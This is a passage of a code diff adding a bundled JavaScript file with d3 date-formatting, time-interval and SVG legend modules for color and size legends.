parseDayOfMonth(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.d = +n[0], i + n[0].length) : -1; +} + +function parseDayOfYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 3)); + return n ? (d.m = 0, d.d = +n[0], i + n[0].length) : -1; +} + +function parseHour24(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.H = +n[0], i + n[0].length) : -1; +} + +function parseMinutes(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.M = +n[0], i + n[0].length) : -1; +} + +function parseSeconds(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.S = +n[0], i + n[0].length) : -1; +} + +function parseMilliseconds(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 3)); + return n ? (d.L = +n[0], i + n[0].length) : -1; +} + +function parseLiteralPercent(d, string, i) { + var n = percentRe.exec(string.slice(i, i + 1)); + return n ? i + n[0].length : -1; +} + +function formatDayOfMonth(d, p) { + return pad(d.getDate(), p, 2); +} + +function formatHour24(d, p) { + return pad(d.getHours(), p, 2); +} + +function formatHour12(d, p) { + return pad(d.getHours() % 12 || 12, p, 2); +} + +function formatDayOfYear(d, p) { + return pad(1 + d3Time.timeDay.count(d3Time.timeYear(d), d), p, 3); +} + +function formatMilliseconds(d, p) { + return pad(d.getMilliseconds(), p, 3); +} + +function formatMonthNumber(d, p) { + return pad(d.getMonth() + 1, p, 2); +} + +function formatMinutes(d, p) { + return pad(d.getMinutes(), p, 2); +} + +function formatSeconds(d, p) { + return pad(d.getSeconds(), p, 2); +} + +function formatWeekNumberSunday(d, p) { + return pad(d3Time.timeSunday.count(d3Time.timeYear(d), d), p, 2); +} + +function formatWeekdayNumber(d) { + return d.getDay(); +} + +function formatWeekNumberMonday(d, p) { + return pad(d3Time.timeMonday.count(d3Time.timeYear(d), d), p, 2); +} + +function formatYear(d, p) { + return pad(d.getFullYear() % 100, p, 2); +} + +function formatFullYear(d, p) { + return pad(d.getFullYear() % 10000, p, 4); +} + +function formatZone(d) { + var z = d.getTimezoneOffset(); + return (z > 0 ? "-" : (z *= -1, "+")) + + pad(z / 60 | 0, "0", 2) + + pad(z % 60, "0", 2); +} + +function formatUTCDayOfMonth(d, p) { + return pad(d.getUTCDate(), p, 2); +} + +function formatUTCHour24(d, p) { + return pad(d.getUTCHours(), p, 2); +} + +function formatUTCHour12(d, p) { + return pad(d.getUTCHours() % 12 || 12, p, 2); +} + +function formatUTCDayOfYear(d, p) { + return pad(1 + d3Time.utcDay.count(d3Time.utcYear(d), d), p, 3); +} + +function formatUTCMilliseconds(d, p) { + return pad(d.getUTCMilliseconds(), p, 3); +} + +function formatUTCMonthNumber(d, p) { + return pad(d.getUTCMonth() + 1, p, 2); +} + +function formatUTCMinutes(d, p) { + return pad(d.getUTCMinutes(), p, 2); +} + +function formatUTCSeconds(d, p) { + return pad(d.getUTCSeconds(), p, 2); +} + +function formatUTCWeekNumberSunday(d, p) { + return pad(d3Time.utcSunday.count(d3Time.utcYear(d), d), p, 2); +} + +function formatUTCWeekdayNumber(d) { + return d.getUTCDay(); +} + +function formatUTCWeekNumberMonday(d, p) { + return pad(d3Time.utcMonday.count(d3Time.utcYear(d), d), p, 2); +} + +function formatUTCYear(d, p) { + return pad(d.getUTCFullYear() % 100, p, 2); +} + +function formatUTCFullYear(d, p) { + return pad(d.getUTCFullYear() % 10000, p, 4); +} + +function formatUTCZone() { + return "+0000"; +} + +function formatLiteralPercent() { + return "%"; +} + +var locale$1; + + + + + +defaultLocale({ + dateTime: "%x, %X", + date: "%-m/%-d/%Y", + time: "%-I:%M:%S %p", + periods: ["AM", "PM"], + days: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], + shortDays: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"], + months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], + shortMonths: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] +}); + +function defaultLocale(definition) { + locale$1 = formatLocale(definition); + exports.timeFormat = locale$1.format; + exports.timeParse = locale$1.parse; + exports.utcFormat = locale$1.utcFormat; + exports.utcParse = locale$1.utcParse; + return locale$1; +} + +var isoSpecifier = "%Y-%m-%dT%H:%M:%S.%LZ"; + +function formatIsoNative(date) { + return date.toISOString(); +} + +var formatIso = Date.prototype.toISOString + ? formatIsoNative + : exports.utcFormat(isoSpecifier); + +function parseIsoNative(string) { + var date = new Date(string); + return isNaN(date) ? null : date; +} + +var parseIso = +new Date("2000-01-01T00:00:00.000Z") + ? parseIsoNative + : exports.utcParse(isoSpecifier); + +exports.timeFormatDefaultLocale = defaultLocale; +exports.timeFormatLocale = formatLocale; +exports.isoFormat = formatIso; +exports.isoParse = parseIso; + +Object.defineProperty(exports, '__esModule', { value: true }); + +}))); + +},{"d3-time":10}],10:[function(require,module,exports){ +// https://d3js.org/d3-time/ Version 1.0.4. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, (function (exports) { 'use strict'; + +var t0 = new Date; +var t1 = new Date; + +function newInterval(floori, offseti, count, field) { + + function interval(date) { + return floori(date = new Date(+date)), date; + } + + interval.floor = interval; + + interval.ceil = function(date) { + return floori(date = new Date(date - 1)), offseti(date, 1), floori(date), date; + }; + + interval.round = function(date) { + var d0 = interval(date), + d1 = interval.ceil(date); + return date - d0 < d1 - date ? d0 : d1; + }; + + interval.offset = function(date, step) { + return offseti(date = new Date(+date), step == null ? 1 : Math.floor(step)), date; + }; + + interval.range = function(start, stop, step) { + var range = []; + start = interval.ceil(start); + step = step == null ? 1 : Math.floor(step); + if (!(start < stop) || !(step > 0)) return range; // also handles Invalid Date + do range.push(new Date(+start)); while (offseti(start, step), floori(start), start < stop) + return range; + }; + + interval.filter = function(test) { + return newInterval(function(date) { + if (date >= date) while (floori(date), !test(date)) date.setTime(date - 1); + }, function(date, step) { + if (date >= date) while (--step >= 0) while (offseti(date, 1), !test(date)) {} // eslint-disable-line no-empty + }); + }; + + if (count) { + interval.count = function(start, end) { + t0.setTime(+start), t1.setTime(+end); + floori(t0), floori(t1); + return Math.floor(count(t0, t1)); + }; + + interval.every = function(step) { + step = Math.floor(step); + return !isFinite(step) || !(step > 0) ? null + : !(step > 1) ? interval + : interval.filter(field + ? function(d) { return field(d) % step === 0; } + : function(d) { return interval.count(0, d) % step === 0; }); + }; + } + + return interval; +} + +var millisecond = newInterval(function() { + // noop +}, function(date, step) { + date.setTime(+date + step); +}, function(start, end) { + return end - start; +}); + +// An optimized implementation for this simple case. +millisecond.every = function(k) { + k = Math.floor(k); + if (!isFinite(k) || !(k > 0)) return null; + if (!(k > 1)) return millisecond; + return newInterval(function(date) { + date.setTime(Math.floor(date / k) * k); + }, function(date, step) { + date.setTime(+date + step * k); + }, function(start, end) { + return (end - start) / k; + }); +}; + +var milliseconds = millisecond.range; + +var durationSecond = 1e3; +var durationMinute = 6e4; +var durationHour = 36e5; +var durationDay = 864e5; +var durationWeek = 6048e5; + +var second = newInterval(function(date) { + date.setTime(Math.floor(date / durationSecond) * durationSecond); +}, function(date, step) { + date.setTime(+date + step * durationSecond); +}, function(start, end) { + return (end - start) / durationSecond; +}, function(date) { + return date.getUTCSeconds(); +}); + +var seconds = second.range; + +var minute = newInterval(function(date) { + date.setTime(Math.floor(date / durationMinute) * durationMinute); +}, function(date, step) { + date.setTime(+date + step * durationMinute); +}, function(start, end) { + return (end - start) / durationMinute; +}, function(date) { + return date.getMinutes(); +}); + +var minutes = minute.range; + +var hour = newInterval(function(date) { + var offset = date.getTimezoneOffset() * durationMinute % durationHour; + if (offset < 0) offset += durationHour; + date.setTime(Math.floor((+date - offset) / durationHour) * durationHour + offset); +}, function(date, step) { + date.setTime(+date + step * durationHour); +}, function(start, end) { + return (end - start) / durationHour; +}, function(date) { + return date.getHours(); +}); + +var hours = hour.range; + +var day = newInterval(function(date) { + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setDate(date.getDate() + step); +}, function(start, end) { + return (end - start - (end.getTimezoneOffset() - start.getTimezoneOffset()) * durationMinute) / durationDay; +}, function(date) { + return date.getDate() - 1; +}); + +var days = day.range; + +function weekday(i) { + return newInterval(function(date) { + date.setDate(date.getDate() - (date.getDay() + 7 - i) % 7); + date.setHours(0, 0, 0, 0); + }, function(date, step) { + date.setDate(date.getDate() + step * 7); + }, function(start, end) { + return (end - start - (end.getTimezoneOffset() - start.getTimezoneOffset()) * durationMinute) / durationWeek; + }); +} + +var sunday = weekday(0); +var monday = weekday(1); +var tuesday = weekday(2); +var wednesday = weekday(3); +var thursday = weekday(4); +var friday = weekday(5); +var saturday = weekday(6); + +var sundays = sunday.range; +var mondays = monday.range; +var tuesdays = tuesday.range; +var wednesdays = wednesday.range; +var thursdays = thursday.range; +var fridays = friday.range; +var saturdays = saturday.range; + +var month = newInterval(function(date) { + date.setDate(1); + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setMonth(date.getMonth() + step); +}, function(start, end) { + return end.getMonth() - start.getMonth() + (end.getFullYear() - start.getFullYear()) * 12; +}, function(date) { + return date.getMonth(); +}); + +var months = month.range; + +var year = newInterval(function(date) { + date.setMonth(0, 1); + date.setHours(0, 0, 0, 0); +}, function(date, step) { + date.setFullYear(date.getFullYear() + step); +}, function(start, end) { + return end.getFullYear() - start.getFullYear(); +}, function(date) { + return date.getFullYear(); +}); + +// An optimized implementation for this simple case. +year.every = function(k) { + return !isFinite(k = Math.floor(k)) || !(k > 0) ? null : newInterval(function(date) { + date.setFullYear(Math.floor(date.getFullYear() / k) * k); + date.setMonth(0, 1); + date.setHours(0, 0, 0, 0); + }, function(date, step) { + date.setFullYear(date.getFullYear() + step * k); + }); +}; + +var years = year.range; + +var utcMinute = newInterval(function(date) { + date.setUTCSeconds(0, 0); +}, function(date, step) { + date.setTime(+date + step * durationMinute); +}, function(start, end) { + return (end - start) / durationMinute; +}, function(date) { + return date.getUTCMinutes(); +}); + +var utcMinutes = utcMinute.range; + +var utcHour = newInterval(function(date) { + date.setUTCMinutes(0, 0, 0); +}, function(date, step) { + date.setTime(+date + step * durationHour); +}, function(start, end) { + return (end - start) / durationHour; +}, function(date) { + return date.getUTCHours(); +}); + +var utcHours = utcHour.range; + +var utcDay = newInterval(function(date) { + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCDate(date.getUTCDate() + step); +}, function(start, end) { + return (end - start) / durationDay; +}, function(date) { + return date.getUTCDate() - 1; +}); + +var utcDays = utcDay.range; + +function utcWeekday(i) { + return newInterval(function(date) { + date.setUTCDate(date.getUTCDate() - (date.getUTCDay() + 7 - i) % 7); + date.setUTCHours(0, 0, 0, 0); + }, function(date, step) { + date.setUTCDate(date.getUTCDate() + step * 7); + }, function(start, end) { + return (end - start) / durationWeek; + }); +} + +var utcSunday = utcWeekday(0); +var utcMonday = utcWeekday(1); +var utcTuesday = utcWeekday(2); +var utcWednesday = utcWeekday(3); +var utcThursday = utcWeekday(4); +var utcFriday = utcWeekday(5); +var utcSaturday = utcWeekday(6); + +var utcSundays = utcSunday.range; +var utcMondays = utcMonday.range; +var utcTuesdays = utcTuesday.range; +var utcWednesdays = utcWednesday.range; +var utcThursdays = utcThursday.range; +var utcFridays = utcFriday.range; +var utcSaturdays = utcSaturday.range; + +var utcMonth = newInterval(function(date) { + date.setUTCDate(1); + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCMonth(date.getUTCMonth() + step); +}, function(start, end) { + return end.getUTCMonth() - start.getUTCMonth() + (end.getUTCFullYear() - start.getUTCFullYear()) * 12; +}, function(date) { + return date.getUTCMonth(); +}); + +var utcMonths = utcMonth.range; + +var utcYear = newInterval(function(date) { + date.setUTCMonth(0, 1); + date.setUTCHours(0, 0, 0, 0); +}, function(date, step) { + date.setUTCFullYear(date.getUTCFullYear() + step); +}, function(start, end) { + return end.getUTCFullYear() - start.getUTCFullYear(); +}, function(date) { + return date.getUTCFullYear(); +}); + +// An optimized implementation for this simple case. +utcYear.every = function(k) { + return !isFinite(k = Math.floor(k)) || !(k > 0) ? null : newInterval(function(date) { + date.setUTCFullYear(Math.floor(date.getUTCFullYear() / k) * k); + date.setUTCMonth(0, 1); + date.setUTCHours(0, 0, 0, 0); + }, function(date, step) { + date.setUTCFullYear(date.getUTCFullYear() + step * k); + }); +}; + +var utcYears = utcYear.range; + +exports.timeInterval = newInterval; +exports.timeMillisecond = millisecond; +exports.timeMilliseconds = milliseconds; +exports.utcMillisecond = millisecond; +exports.utcMilliseconds = milliseconds; +exports.timeSecond = second; +exports.timeSeconds = seconds; +exports.utcSecond = second; +exports.utcSeconds = seconds; +exports.timeMinute = minute; +exports.timeMinutes = minutes; +exports.timeHour = hour; +exports.timeHours = hours; +exports.timeDay = day; +exports.timeDays = days; +exports.timeWeek = sunday; +exports.timeWeeks = sundays; +exports.timeSunday = sunday; +exports.timeSundays = sundays; +exports.timeMonday = monday; +exports.timeMondays = mondays; +exports.timeTuesday = tuesday; +exports.timeTuesdays = tuesdays; +exports.timeWednesday = wednesday; +exports.timeWednesdays = wednesdays; +exports.timeThursday = thursday; +exports.timeThursdays = thursdays; +exports.timeFriday = friday; +exports.timeFridays = fridays; +exports.timeSaturday = saturday; +exports.timeSaturdays = saturdays; +exports.timeMonth = month; +exports.timeMonths = months; +exports.timeYear = year; +exports.timeYears = years; +exports.utcMinute = utcMinute; +exports.utcMinutes = utcMinutes; +exports.utcHour = utcHour; +exports.utcHours = utcHours; +exports.utcDay = utcDay; +exports.utcDays = utcDays; +exports.utcWeek = utcSunday; +exports.utcWeeks = utcSundays; +exports.utcSunday = utcSunday; +exports.utcSundays = utcSundays; +exports.utcMonday = utcMonday; +exports.utcMondays = utcMondays; +exports.utcTuesday = utcTuesday; +exports.utcTuesdays = utcTuesdays; +exports.utcWednesday = utcWednesday; +exports.utcWednesdays = utcWednesdays; +exports.utcThursday = utcThursday; +exports.utcThursdays = utcThursdays; +exports.utcFriday = utcFriday; +exports.utcFridays = utcFridays; +exports.utcSaturday = utcSaturday; +exports.utcSaturdays = utcSaturdays; +exports.utcMonth = utcMonth; +exports.utcMonths = utcMonths; +exports.utcYear = utcYear; +exports.utcYears = utcYears; + +Object.defineProperty(exports, '__esModule', { value: true }); + +}))); + +},{}],11:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +exports.default = color; + +var _legend = require("./legend"); + +var _legend2 = _interopRequireDefault(_legend); + +var _d3Dispatch = require("d3-dispatch"); + +var _d3Scale = require("d3-scale"); + +var _d3Format = require("d3-format"); + +var _d3Array = require("d3-array"); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + +function color() { + var scale = (0, _d3Scale.scaleLinear)(), + shape = "rect", + shapeWidth = 15, + shapeHeight = 15, + shapeRadius = 10, + shapePadding = 2, + cells = [5], + cellFilter = void 0, + labels = [], + classPrefix = "", + useClass = false, + title = "", + locale = _legend2.default.d3_defaultLocale, + specifier = _legend2.default.d3_defaultFormatSpecifier, + labelOffset = 10, + labelAlign = "middle", + labelDelimiter = _legend2.default.d3_defaultDelimiter, + labelWrap = void 0, + orient = "vertical", + ascending = false, + path = void 0, + titleWidth = void 0, + legendDispatcher = (0, _d3Dispatch.dispatch)("cellover", "cellout", "cellclick"); + + function legend(svg) { + var type = _legend2.default.d3_calcType(scale, ascending, cells, labels, locale.format(specifier), labelDelimiter), + legendG = svg.selectAll("g").data([scale]); + + legendG.enter().append("g").attr("class", classPrefix + "legendCells"); + + if (cellFilter) { + _legend2.default.d3_filterCells(type, cellFilter); + } + + var cell = svg.select("." + classPrefix + "legendCells").selectAll("." + classPrefix + "cell").data(type.data); + + var cellEnter = cell.enter().append("g").attr("class", classPrefix + "cell"); + cellEnter.append(shape).attr("class", classPrefix + "swatch"); + + var shapes = svg.selectAll("g." + classPrefix + "cell " + shape + "." + classPrefix + "swatch").data(type.data); + + //add event handlers + _legend2.default.d3_addEvents(cellEnter, legendDispatcher); + + cell.exit().transition().style("opacity", 0).remove(); + shapes.exit().transition().style("opacity", 0).remove(); + + shapes = shapes.merge(shapes); + + _legend2.default.d3_drawShapes(shape, shapes, shapeHeight, shapeWidth, shapeRadius, path); + var text = _legend2.default.d3_addText(svg, cellEnter, type.labels, classPrefix, labelWrap); + + // we need to merge the selection, otherwise changes in the legend (e.g. change of orientation) are applied only to the new cells and not the existing ones. + cell = cellEnter.merge(cell); + + // sets placement + var textSize = text.nodes().map(function (d) { + return d.getBBox(); + }), + shapeSize = shapes.nodes().map(function (d) { + return d.getBBox(); + }); + //sets scale + //everything is fill except for line which is stroke, + if (!useClass) { + if (shape == "line") { + shapes.style("stroke", type.feature); + } else { + shapes.style("fill", type.feature); + } + } else { + shapes.attr("class", function (d) { + return classPrefix + "swatch " + type.feature(d); + }); + } + + var cellTrans = void 0, + textTrans = void 0, + textAlign = labelAlign == "start" ? 0 : labelAlign == "middle" ? 0.5 : 1; + + //positions cells and text + if (orient === "vertical") { + (function () { + var cellSize = textSize.map(function (d, i) { + return Math.max(d.height, shapeSize[i].height); + }); + + cellTrans = function cellTrans(d, i) { + var height = (0, _d3Array.sum)(cellSize.slice(0, i)); + return "translate(0, " + (height + i * shapePadding) + ")"; + }; + + textTrans = function textTrans(d, i) { + return "translate( " + (shapeSize[i].width + shapeSize[i].x + labelOffset) + ", " + (shapeSize[i].y + shapeSize[i].height / 2 + 5) + ")"; + }; + })(); + } else if (orient === "horizontal") { + cellTrans = function cellTrans(d, i) { + return "translate(" + i * (shapeSize[i].width + shapePadding) + ",0)"; + }; + textTrans = function textTrans(d, i) { + return "translate(" + (shapeSize[i].width * textAlign + shapeSize[i].x) + ",\n " + (shapeSize[i].height + shapeSize[i].y + labelOffset + 8) + ")"; + }; + } + + _legend2.default.d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign); + _legend2.default.d3_title(svg, title, classPrefix, titleWidth); + + cell.transition().style("opacity", 1); + } + + legend.scale = function (_) { + if (!arguments.length) return scale; + scale = _; + return legend; + }; + + legend.cells = function (_) { + if (!arguments.length) return cells; + if (_.length > 1 || _ >= 2) { + cells = _; + } + return legend; + }; + + legend.cellFilter = function (_) { + if (!arguments.length) return cellFilter; + cellFilter = _; + return legend; + }; + + legend.shape = function (_, d) { + if (!arguments.length) return shape; + if (_ == "rect" || _ == "circle" || _ == "line" || _ == "path" && typeof d === "string") { + shape = _; + path = d; + } + return legend; + }; + + legend.shapeWidth = function (_) { + if (!arguments.length) return shapeWidth; + shapeWidth = +_; + return legend; + }; + + legend.shapeHeight = function (_) { + if (!arguments.length) return shapeHeight; + shapeHeight = +_; + return legend; + }; + + legend.shapeRadius = function (_) { + if (!arguments.length) return shapeRadius; + shapeRadius = +_; + return legend; + }; + + legend.shapePadding = function (_) { + if (!arguments.length) return shapePadding; + shapePadding = +_; + return legend; + }; + + legend.labels = function (_) { + if (!arguments.length) return labels; + labels = _; + return legend; + }; + + legend.labelAlign = function (_) { + if (!arguments.length) return labelAlign; + if (_ == "start" || _ == "end" || _ == "middle") { + labelAlign = _; + } + return legend; + }; + + legend.locale = function (_) { + if (!arguments.length) return locale; + locale = (0, _d3Format.formatLocale)(_); + return legend; + }; + + legend.labelFormat = function (_) { + if (!arguments.length) return legend.locale().format(specifier); + specifier = (0, _d3Format.formatSpecifier)(_); + return legend; + }; + + legend.labelOffset = function (_) { + if (!arguments.length) return labelOffset; + labelOffset = +_; + return legend; + }; + + legend.labelDelimiter = function (_) { + if (!arguments.length) return labelDelimiter; + labelDelimiter = _; + return legend; + }; + + legend.labelWrap = function (_) { + if (!arguments.length) return labelWrap; + labelWrap = _; + return legend; + }; + + legend.useClass = function (_) { + if (!arguments.length) return useClass; + if (_ === true || _ === false) { + useClass = _; + } + return legend; + }; + + legend.orient = function (_) { + if (!arguments.length) return orient; + _ = _.toLowerCase(); + if (_ == "horizontal" || _ == "vertical") { + orient = _; + } + return legend; + }; + + legend.ascending = function (_) { + if (!arguments.length) return ascending; + ascending = !!_; + return legend; + }; + + legend.classPrefix = function (_) { + if (!arguments.length) return classPrefix; + classPrefix = _; + return legend; + }; + + legend.title = function (_) { + if (!arguments.length) return title; + title = _; + return legend; + }; + + legend.titleWidth = function (_) { + if (!arguments.length) return titleWidth; + titleWidth = _; + return legend; + }; + + legend.textWrap = function (_) { + if (!arguments.length) return textWrap; + textWrap = _; + return legend; + }; + + legend.on = function () { + var value = legendDispatcher.on.apply(legendDispatcher, arguments); + return value === legendDispatcher ? legend : value; + }; + + return legend; +} + +},{"./legend":13,"d3-array":1,"d3-dispatch":4,"d3-format":5,"d3-scale":7}],12:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +var thresholdLabels = exports.thresholdLabels = function thresholdLabels(_ref) { + var i = _ref.i, + genLength = _ref.genLength, + generatedLabels = _ref.generatedLabels, + labelDelimiter = _ref.labelDelimiter; + + if (i === 0) { + var values = generatedLabels[i].split(" " + labelDelimiter + " "); + return "Less than " + values[1]; + } else if (i === genLength - 1) { + var _values = generatedLabels[i].split(" " + labelDelimiter + " "); + return _values[0] + " or more"; + } + return generatedLabels[i]; +}; + +exports.default = { + thresholdLabels: thresholdLabels +}; + +},{}],13:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); + +var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + +var _d3Selection = require("d3-selection"); + +var _d3Format = require("d3-format"); + +var d3_identity = function d3_identity(d) { + return d; +}; + +var d3_reverse = function d3_reverse(arr) { + var mirror = []; + for (var i = 0, l = arr.length; i < l; i++) { + mirror[i] = arr[l - i - 1]; + } + return mirror; +}; + +//Text wrapping code adapted from Mike Bostock +var d3_textWrapping = function d3_textWrapping(text, width) { + text.each(function () { + var text = (0, _d3Selection.select)(this), + words = text.text().split(/\s+/).reverse(), + word, + line = [], + lineNumber = 0, + lineHeight = 1.2, + //ems + y = text.attr("y"), + dy = parseFloat(text.attr("dy")) || 0, + tspan = text.text(null).append("tspan").attr("x", 0).attr("dy", dy + "em"); + + while (word = words.pop()) { + line.push(word); + tspan.text(line.join(" ")); + if (tspan.node().getComputedTextLength() > width && line.length > 1) { + line.pop(); + tspan.text(line.join(" ")); + line = [word]; + tspan = text.append("tspan").attr("x", 0).attr("dy", lineHeight + dy + "em").text(word); + } + } + }); +}; + +var d3_mergeLabels = function d3_mergeLabels() { + var gen = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : []; + var labels = arguments[1]; + var domain = arguments[2]; + var range = arguments[3]; + var labelDelimiter = arguments[4]; + + if ((typeof labels === "undefined" ? "undefined" : _typeof(labels)) === "object") { + if (labels.length === 0) return gen; + + var i = labels.length; + for (; i < gen.length; i++) { + labels.push(gen[i]); + } + return labels; + } else if (typeof labels === "function") { + var customLabels = []; + var genLength = gen.length; + for (var _i = 0; _i < genLength; _i++) { + customLabels.push(labels({ + i: _i, + genLength: genLength, + generatedLabels: gen, + domain: domain, + range: range, + labelDelimiter: labelDelimiter + })); + } + return customLabels; + } + + return gen; +}; + +var d3_linearLegend = function d3_linearLegend(scale, cells, labelFormat) { + var data = []; + + if (cells.length > 1) { + data = cells; + } else { + var domain = scale.domain(), + increment = (domain[domain.length - 1] - domain[0]) / (cells - 1); + var i = 0; + + for (; i < cells; i++) { + data.push(domain[0] + i * increment); + } + } + + var labels = data.map(labelFormat); + return { + data: data, + labels: labels, + feature: function feature(d) { + return scale(d); + } + }; +}; + +var d3_quantLegend = function d3_quantLegend(scale, labelFormat, labelDelimiter) { + var labels = scale.range().map(function (d) { + var invert = scale.invertExtent(d); + return labelFormat(invert[0]) + " " + labelDelimiter + " " + labelFormat(invert[1]); + }); + + return { + data: scale.range(), + labels: labels, + feature: d3_identity + }; +}; + +var d3_ordinalLegend = function d3_ordinalLegend(scale) { + return { + data: scale.domain(), + labels: scale.domain(), + feature: function feature(d) { + return scale(d); + } + }; +}; + +var d3_cellOver = function d3_cellOver(cellDispatcher, d, obj) { + cellDispatcher.call("cellover", obj, d); +}; + +var d3_cellOut = function d3_cellOut(cellDispatcher, d, obj) { + cellDispatcher.call("cellout", obj, d); +}; + +var d3_cellClick = function d3_cellClick(cellDispatcher, d, obj) { + cellDispatcher.call("cellclick", obj, d); +}; + +exports.default = { + d3_drawShapes: function d3_drawShapes(shape, shapes, shapeHeight, shapeWidth, shapeRadius, path) { + if (shape === "rect") { + shapes.attr("height", shapeHeight).attr("width", shapeWidth); + } else if (shape === "circle") { + shapes.attr("r", shapeRadius); + } else if (shape === "line") { + shapes.attr("x1", 0).attr("x2", shapeWidth).attr("y1", 0).attr("y2", 0); + } else if (shape === "path") { + shapes.attr("d", path); + } + }, + + d3_addText: function d3_addText(svg, enter, labels, classPrefix, labelWidth) { + enter.append("text").attr("class", classPrefix + "label"); + var text = svg.selectAll("g." + classPrefix + "cell text." + classPrefix + "label").data(labels).text(d3_identity); + + if (labelWidth) { + svg.selectAll("g." + classPrefix + "cell text." + classPrefix + "label").call(d3_textWrapping, labelWidth); + } + + return text; + }, + + d3_calcType: function d3_calcType(scale, ascending, cells, labels, labelFormat, labelDelimiter) { + var type = scale.invertExtent ? d3_quantLegend(scale, labelFormat, labelDelimiter) : scale.ticks ? d3_linearLegend(scale, cells, labelFormat) : d3_ordinalLegend(scale); + + //for d3.scaleSequential that doesn't have a range function + var range = scale.range && scale.range() || scale.domain(); + type.labels = d3_mergeLabels(type.labels, labels, scale.domain(), range, labelDelimiter); + + if (ascending) { + type.labels = d3_reverse(type.labels); + type.data = d3_reverse(type.data); + } + + return type; + }, + + d3_filterCells: function d3_filterCells(type, cellFilter) { + var filterCells = type.data.map(function (d, i) { + return { data: d, label: type.labels[i] }; + }).filter(cellFilter); + var dataValues = filterCells.map(function (d) { + return d.data; + }); + var labelValues = filterCells.map(function (d) { + return d.label; + }); + type.data = type.data.filter(function (d) { + return dataValues.indexOf(d) !== -1; + }); + type.labels = type.labels.filter(function (d) { + return labelValues.indexOf(d) !== -1; + }); + return type; + }, + + d3_placement: function d3_placement(orient, cell, cellTrans, text, textTrans, labelAlign) { + cell.attr("transform", cellTrans); + text.attr("transform", textTrans); + if (orient === "horizontal") { + text.style("text-anchor", labelAlign); + } + }, + + d3_addEvents: function d3_addEvents(cells, dispatcher) { + cells.on("mouseover.legend", function (d) { + d3_cellOver(dispatcher, d, this); + }).on("mouseout.legend", function (d) { + d3_cellOut(dispatcher, d, this); + }).on("click.legend", function (d) { + d3_cellClick(dispatcher, d, this); + }); + }, + + d3_title: function d3_title(svg, title, classPrefix, titleWidth) { + if (title !== "") { + var titleText = svg.selectAll("text." + classPrefix + "legendTitle"); + + titleText.data([title]).enter().append("text").attr("class", classPrefix + "legendTitle"); + + svg.selectAll("text." + classPrefix + "legendTitle").text(title); + + if (titleWidth) { + svg.selectAll("text." + classPrefix + "legendTitle").call(d3_textWrapping, titleWidth); + } + + var cellsSvg = svg.select("." + classPrefix + "legendCells"); + var yOffset = svg.select("." + classPrefix + "legendTitle").nodes().map(function (d) { + return d.getBBox().height; + })[0], + xOffset = -cellsSvg.nodes().map(function (d) { + return d.getBBox().x; + })[0]; + cellsSvg.attr("transform", "translate(" + xOffset + "," + yOffset + ")"); + } + }, + + d3_defaultLocale: { + format: _d3Format.format, + formatPrefix: _d3Format.formatPrefix + }, + + d3_defaultFormatSpecifier: ".01f", + + d3_defaultDelimiter: "to" +}; + +},{"d3-format":5,"d3-selection":8}],14:[function(require,module,exports){ +"use strict"; + +Object.defineProperty(exports, "__esModule", { + value: true +}); +exports.default = size; + +var _legend = require("./legend"); + +var _legend2 = _interopRequireDefault(_legend); + +var _d3Dispatch = require("d3-dispatch"); + +var _d3Scale = require("d3-scale"); + +var _d3Format = require("d3-format"); + +var _d3Array = require("d3-array"); + +function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + +function size() { + var scale = (0, _d3Scale.scaleLinear)(), + shape = "rect", + shapeWidth = 15, + shapePadding = 2, + cells = [5], + cellFilter = void 0, + labels = [], + classPrefix = "", + title = "", + locale = _legend2.default.d3_defaultLocale, + specifier = _legend2.default.d3_defaultFormatSpecifier, + labelOffset = 10, + labelAlign = "middle", + labelDelimiter = _legend2.default.d3_defaultDelimiter, + labelWrap = void 0, + orient = "vertical", + ascending = false, + path = void 0, + titleWidth = void 0, + legendDispatcher = (0, _d3Dispatch.dispatch)("cellover", "cellout", "cellclick"); + + function legend(svg) { + var type = _legend2.default.d3_calcType(scale, ascending, cells, labels, locale.format(specifier), labelDelimiter), + legendG = svg.selectAll("g").data([scale]); + + if (cellFilter) { + _legend2.default.d3_filterCells(type, cellFilter); + } + + legendG.enter().append("g").attr("class", classPrefix + "legendCells"); + + var cell = svg.select("." + classPrefix + "legendCells").selectAll("." + classPrefix + "cell").data(type.data); + var cellEnter = cell.enter().append("g").attr("class", classPrefix + "cell"); + cellEnter.append(shape).attr("class", classPrefix + "swatch"); + + var shapes = svg.selectAll("g." + classPrefix + "cell " + shape + "." + classPrefix + "swatch"); + + //add event handlers + _legend2.default.d3_addEvents(cellEnter, legendDispatcher); + + cell.exit().transition().style("opacity", 0).remove(); + + shapes.exit().transition().style("opacity", 0).remove(); + shapes = shapes.merge(shapes); + + //creates shape 